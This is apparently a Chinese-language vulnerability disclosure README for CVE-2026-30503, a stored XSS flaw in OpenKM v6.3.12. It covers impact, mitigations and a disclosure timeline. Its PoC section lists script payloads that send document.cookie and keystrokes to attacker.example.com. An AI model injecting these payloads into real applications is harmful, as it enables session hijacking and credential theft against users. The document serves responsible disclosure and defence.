本仓库记录了 CVE-2026-30503 的负责任披露过程,这是 OpenKM v6.3.12 中发现的一个存储型跨站脚本 (XSS) 漏洞。OpenKM 是一款在企业环境中广泛使用的开源文档管理系统。
该漏洞允许已认证的攻击者向应用程序注入持久性恶意 JavaScript,当任何用户(包括管理员)随后查看受影响的内容时,该脚本将在其浏览器上下文中执行。
⚠️ 严重性: 高 | 攻击向量: 网络 | 所需权限: 低 | 用户交互: 需要
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-30503 |
| 产品 | OpenKM |
| 受影响版本 | v6.3.12 |
| 漏洞类型 | 存储型跨站脚本 (XSS) |
| CWE | CWE-79:网页生成过程中输入的不当中和 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| 研究员 | Dharmendra Kumar |
| 披露类型 | 负责任 / 协同披露 |
OpenKM 是一款免费开源文档管理系统 (DMS),提供用于管理、审计和分发业务文档的 Web 界面。全球各地的企业、政府机构和教育机构都在使用它。
v6.3.12在 OpenKM v6.3.12 中发现了多个存储型跨站脚本 (XSS) 漏洞。具有低权限认证访问权限的攻击者可以向一个或多个输入字段注入任意 JavaScript 负载。这些负载会永久存储在应用程序的后端,并且每当任何用户(包括管理员)访问受影响的页面或组件时便会自动执行。
与需要受害者点击精心构造链接的反射型 XSS 不同,存储型 XSS 负载内嵌于应用程序本身,因此更具危险性且更加持久。
该漏洞源于应用程序输入处理流程中三个相互叠加的弱点:
User Input ──► [NO Validation] ──► Stored in DB ──► [NO Output Encoding] ──► Rendered in Browser ──► XSS Executed
| 弱点 | 描述 |
|---|---|
| ❌ 缺少输入验证 | 应用程序未限制或清理用户提供字段中的特殊字符(<、>、"、'、;) |
| ❌ 缺少输出编码 | 存储的值未经 HTML 实体编码直接渲染到 HTML 中 |
| ❌ 不安全的 DOM 渲染 | 用户提供的数据在无 CSP 或清理控制的情况下被嵌入 DOM 上下文 |
成功利用该漏洞可能导致以下后果:
| 风险 | 描述 |
|---|---|
| 🍪 会话劫持 | 通过 document.cookie 外泄窃取已认证的会话令牌 |
| 👤 账户接管 | 入侵受害者的账户,包括管理员账户 |
| 🔐 凭据窃取 | 注入钓鱼表单以窃取登录凭据 |
| 📤 数据外泄 | 静默提取 DMS 中的敏感文档或元数据 |
| ⚙️ 未授权操作 | 以受害者名义执行特权操作(删除/修改文档) |
| 🎯 针对管理员 | 当管理员审核内容时,负载在管理面板中执行 |
| 🔄 蠕虫式传播 | 自复制的 XSS 负载可在用户之间传播 |
⚠️ 免责声明: 此 PoC 仅在负责任披露原则下严格用于教育和安全研究目的。请勿将其用于您不拥有或未经明确书面许可进行测试的系统。
// Basic PoC — demonstrates script execution
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
// Session token exfiltration
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Keylogger injection
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>| 建议 | 实施方案 |
|---|---|
| ✅ 输入验证 | 对允许的字符进行白名单校验;拒绝或剥离所有用户输入中的 HTML 特殊字符 |
| ✅ 输出编码 | 在将数据渲染为 HTML 之前,使用上下文感知的 HTML 编码(例如 OWASP Java Encoder) |
| ✅ 内容安全策略 (CSP) | 实施严格的内容安全策略头:Content-Security-Policy: script-src 'self' |
| ✅ HTTPOnly 与 Secure Cookie | 在所有会话 Cookie 上设置 HttpOnly 和 Secure 标志,防止 JavaScript 访问 |
| ✅ 使用安全库 | 集成 OWASP AntiSamy 或 DOMPurify 进行 HTML 清理 |
| ✅ 安全代码审查 | 审计所有渲染路径,排查未清理的用户可控数据 |
| ✅ 升级 | 应用厂商提供的最新补丁,或升级到已修复版本 |
| 日期 | 事件 |
|---|---|
| 🔍 发现 | 在 OpenKM v6.3.12 安全评估期间识别出该漏洞 |
| 📧 厂商通知 | 向 OpenKM 安全团队提交初步披露报告 |
| 🤝 厂商确认 | OpenKM 团队确认收到该报告 |
| 📝 CVE 分配 | 由 CVE 计划分配 CVE-2026-30503 |
| 🌐 公开披露 | 在修复期结束后进行协同公开披露 |
该漏洞遵循负责任披露的最佳实践进行披露,在公开发布前已与厂商和 CVE 计划进行协调。
安全研究员 | 渗透测试人员 | 漏洞赏金猎人
Dharmendra Kumar 是一名独立网络安全研究员,专注于 Web 应用安全、渗透测试和负责任的漏洞披露。他的工作重点是识别广泛使用的软件中真实存在的安全缺陷,致力于提升全球范围内应用的整体安全水平。
专业领域:
联系方式:
本仓库仅用于教育和信息参考目的。此处分享的漏洞详情和概念验证负载均遵循负责任披露原则发布。作者不认可、不鼓励任何未经授权使用此信息的行为,亦不对其后果承担责任。在对任何系统进行安全测试之前,务必获得明确的书面许可。
特别感谢:
⭐ 如果这项研究对您有帮助,请考虑为本仓库点个星标。
© 2026 Dharmendra Kumar — 保留所有权利